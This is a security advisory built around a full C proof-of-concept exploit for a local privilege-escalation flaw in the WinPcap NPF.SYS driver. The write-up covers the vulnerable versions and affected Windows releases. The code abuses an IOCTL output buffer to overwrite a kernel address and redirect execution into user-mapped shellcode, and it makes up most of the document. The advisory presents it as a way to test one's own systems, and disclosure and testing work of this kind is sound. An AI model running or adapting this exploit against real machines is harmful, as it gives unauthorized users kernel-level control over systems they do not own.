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WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)
------------------------------------------------------------------------
SUMMARY
Local exploitation of an input validation
<http://www.securiteam.com/windowsntfocus/5AP0B00M0O.html> vulnerability
within the NPF.SYS device driver of WinPcap allows attackers to execute
arbitrary code in kernel context, the following exploit code can be used
to test your system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* Wireshark version 0.99.5 with NPF.SYS version 4.0.0.755
Immune Systems:
* Wireshark version 0.99.5 with NPF.SYS version 4.0.1 or newer
Exploit:
/*
WinPcap NPF.SYS Privilege Elevation Vulnerability PoC exploit
-------------------------------------------------------------
Affected software:
(*) WinPcap versions affected (Confirmed)
- WinPcap 3.1
- WinPcap 4.1
(*) Operating systems affected (Confirmed)
- Windows 2000 SP4 (Both server and workstation)
- Windows XP SP2
- Windows 2003 Server
- Windows Vista !!
Description:
It's a well known issue that WinPcap security model allows
non-administrator
users to use its device driver. If they don't manually unload it after
using
tools such as Wireshark (ethereal), which unfortunatelly oftenly happens,
this
can lead to unwanted network traffic sniffing and now with the help of
this
exploit to kernel mode code execution ;-)
Remarks:
The exploit code is a PoC and was tested only against Windows XP SP2,
with minor
modifications (delta offsets and changing VirtualAlloc for
NtAllocVirtualMemory due
to base address restrictions in Windows Vista ) should work on all OSes
commented
above.
To test the PoC, just pick any software which uses WinPcap like
WireShark, then
start to sniff in any iface and close it (so WinPcap device gets up ).
Run the
exploit code (as guest user if you want) you should hit an int 3 in
kernel mode :-)
Vulnerability discovered by:
Mario Ballano B rcena, mballano[_at_]gmail.com
http://www.48bits.com/
24, April 2007
*/
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
#define IOCTL_BIOCGSTATS 9031
#define OUT_SIZE 0x10
#define NDRIVERS_LIST 100
enum OSes
{
OS_WXP=1,
OS_W2K,
OS_W2K3,
OS_VISTA
};
#define WXP_DELTA 0xA67FF; // SP2 Fully patched!!
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;
DWORD g_dwOsVersion = 0;
LPVOID g_PatchAddress = NULL;
LPBYTE g_WXP_PATCH_BYTES =
"\x80\x83\xff\x2C\x75\x2F\x53\xE8\xE1\xA2\xF7\xFF\x89\x45\xDC\x85";
LPBYTE g_W2K_PATCH_BYTES = "\xCC\xCC\xCC";
LPBYTE g_W2K3_PATCH_BYTES = "\xCC\xCC\xCC";
LPBYTE g_WVISTA_PATCH_BYTES = "\xCC\xCC\xCC";
typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);
typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
char *lpBaseName,
DWORD nSize);
typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
BOOL GetNpfDevice (char *lpNpfDevice)
{
DWORD cb,lpType;
char *lpList,*tmp;
HKEY hkey;
BOOL bRes = FALSE;
lpList = malloc(0x1000);
memset(lpList,0,0x1000);
cb = 0x1000;
if (
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\EAPOL\\Parameters\\General",0,KEY_READ,&hkey) == ERROR_SUCCESS )
{
printf("AQUI");
if ( RegQueryValueExA( hkey,
"InterfaceList",
0,
&lpType,
lpList,
&cb) == ERROR_SUCCESS )
{
strcpy(lpNpfDevice,"\\\\.\\NPF_");
while(*lpList && *lpList !='{') lpList++;
tmp = lpList;
while(*lpList && *(lpList) != '}') lpList ++;
*(++lpList) = '\0';
strcat(lpNpfDevice,tmp);
bRes = TRUE;
}
}
free(lpList);
if (!bRes)
{
printf("Cannot generate NPF Device Name :-( \n");
}
return bRes;
}
LPVOID GetNtosBase (VOID)
{
HANDLE hLib;
PENUMDEVICES pEnumDeviceDrivers;
PGETDEVNAME pGetDeviceDriverBaseName;
DWORD lpcbNeeded,i;
LPVOID NtosBase = NULL;
LPVOID *lpImageBases = NULL;
char lpBaseName[MAX_PATH];
if ( ( hLib = LoadLibraryA("psapi.dll")) &&
( pEnumDeviceDrivers = (PENUMDEVICES)
GetProcAddress(hLib,"EnumDeviceDrivers") ) &&
( pGetDeviceDriverBaseName = (PGETDEVNAME)
GetProcAddress(hLib,"GetDeviceDriverBaseNameA")) )
{
lpImageBases = malloc( sizeof(LPVOID) * NDRIVERS_LIST );
pEnumDeviceDrivers(lpImageBases,sizeof(LPVOID) *
NDRIVERS_LIST,&lpcbNeeded);
if ( (lpcbNeeded / sizeof(LPVOID)) > NDRIVERS_LIST)
{
lpImageBases = realloc(lpImageBases,sizeof(LPVOID) * lpcbNeeded);
pEnumDeviceDrivers(lpImageBases,lpcbNeeded,&lpcbNeeded);
}
for (i = 0; i < (lpcbNeeded / sizeof(LPVOID)) ; i++ )
{
if ( pGetDeviceDriverBaseName(lpImageBases[i],lpBaseName,MAX_PATH) )
{
printf ("%s\n",lpBaseName);
if (!strcmp(lpBaseName,"ntoskrnl.exe"))
{
NtosBase = lpImageBases[i];
printf("NTOSKRNL Base found at %#p\n",NtosBase);
break;
}
}
}
free(lpImageBases);
}
else
{
printf("Cannot Load psapi exports!\n");
}
return NtosBase;
}
DWORD GetOSVersion (VOID)
{
OSVERSIONINFOA osvi;
DWORD retval = 0;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if ( GetVersionExA(&osvi) )
{
if (osvi.dwMajorVersion == 5)
{
switch(osvi.dwMinorVersion)
{
case 0:
retval = OS_W2K;
break;
case 1:
retval = OS_WXP;
break;
case 2:
retval = OS_W2K3;
break;
}
}
else if (osvi.dwMajorVersion == 6)
{
retval = OS_VISTA;
}
}
g_dwOsVersion = retval;
return retval;
}
DWORD GetNtosDelta (VOID)
{
DWORD retval = 0;
switch(GetOSVersion())
{
case OS_VISTA:
printf("System identified as Windows Vista\n");
retval = WVISTA_DELTA;
break;
case OS_W2K:
printf("System identified as Windows 2000\n");
retval = W2K_DELTA;
break;
case OS_W2K3:
printf("System identified as Windows 2003\n");
retval = W2K3_DELTA;
break;
case OS_WXP:
printf("System identified as Windows XP\n");
retval = WXP_DELTA;
break;
default:
printf("Unidentified system!\n");
}
return retval;
}
__declspec( naked ) void ShellCode (VOID)
{
// Just debug it, to check code execution ;-)
__asm int 3;
// The patch _should_ be done fastly ... that s why we use global vars...
switch(g_dwOsVersion)
{
case OS_VISTA:
memcpy( g_PatchAddress, g_WVISTA_PATCH_BYTES,0x10);
break;
case OS_W2K:
memcpy( g_PatchAddress, g_W2K_PATCH_BYTES,0x10);
break;
case OS_WXP:
memcpy( g_PatchAddress, g_WXP_PATCH_BYTES,0x10);
break;
case OS_W2K3:
memcpy( g_PatchAddress,g_W2K3_PATCH_BYTES,0x10);
break;
}
// Go out without raising an exception ;-), indeed this is inside a SEH
frame but ... wtf! :-)
__asm
{
mov eax, [g_PatchAddress]
inc eax
push eax
ret
}
}
int main(int argc, char **argv)
{
HANDLE hDevice;
LPVOID lpNtosSwitch;
DWORD cb, delta;
DWORD values[4];
LPVOID lpFakeTable;
PQUERYSYSTEM NtQuerySystemInformation;
char szNpfDevice[100];
BYTE QueryBuffer[0x24];
int i;
NtQuerySystemInformation = (PQUERYSYSTEM)
GetProcAddress(GetModuleHandleA("NTDLL.DLL"),"NtQuerySystemInformation");
printf ("Searching for a valid Interface ...\n");
if ( GetNpfDevice(szNpfDevice) )
{
printf("NPF Device name generated! : %s\n",szNpfDevice);
}
else
{
printf("Cannot found any valid Interface!\n");
return 0;
}
if ( lpFakeTable = VirtualAlloc((LPVOID)0x570000,
0x20000,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) )
{
printf("Memory allocated at %p\n",lpFakeTable);
for ( i=0; i < ( 0x20000/sizeof(LPVOID) ); i++)
{
* ( (LPVOID *)lpFakeTable + i) = ShellCode;
}
printf("Memory mapping filled! ... \n");
}
else
{
printf("Cannot allocate memory!\n");
return 0;
}
if ( (hDevice = CreateFileA(szNpfDevice,
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!\n", szNpfDevice);
if ( (lpNtosSwitch = GetNtosBase()) && ( delta = GetNtosDelta()) )
{
g_PatchAddress = (LPVOID) ((LPBYTE) lpNtosSwitch + delta );
if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)values,OUT_SIZE,
&cb,
NULL) )
{
printf("First time reading ... bytes returned %#x\n",cb);
for (i = 0;i<4;i++)
{
printf ("OutBuffer[i] = %#x\n",values[i]);
}
}
printf("Launching exploit ... \nOverwritting NTOSKRNL switch at ->
%#p\n",g_PatchAddress);
if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)g_PatchAddress,OUT_SIZE,
&cb,
NULL) )
{
// Dirty trick ..
NtQuerySystemInformation(0x15,QueryBuffer,sizeof(QueryBuffer), NULL);
// Bye bye god mode!
printf("We are back from ring0!\n");
}
}
}
else
{
printf("Error: Cannot open device %s\n",szNpfDevice);
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:mballano@gmail.com> Mario
Ballano B rcena.
The original article can be found at: <http://blog.48bits.com/?p=127>
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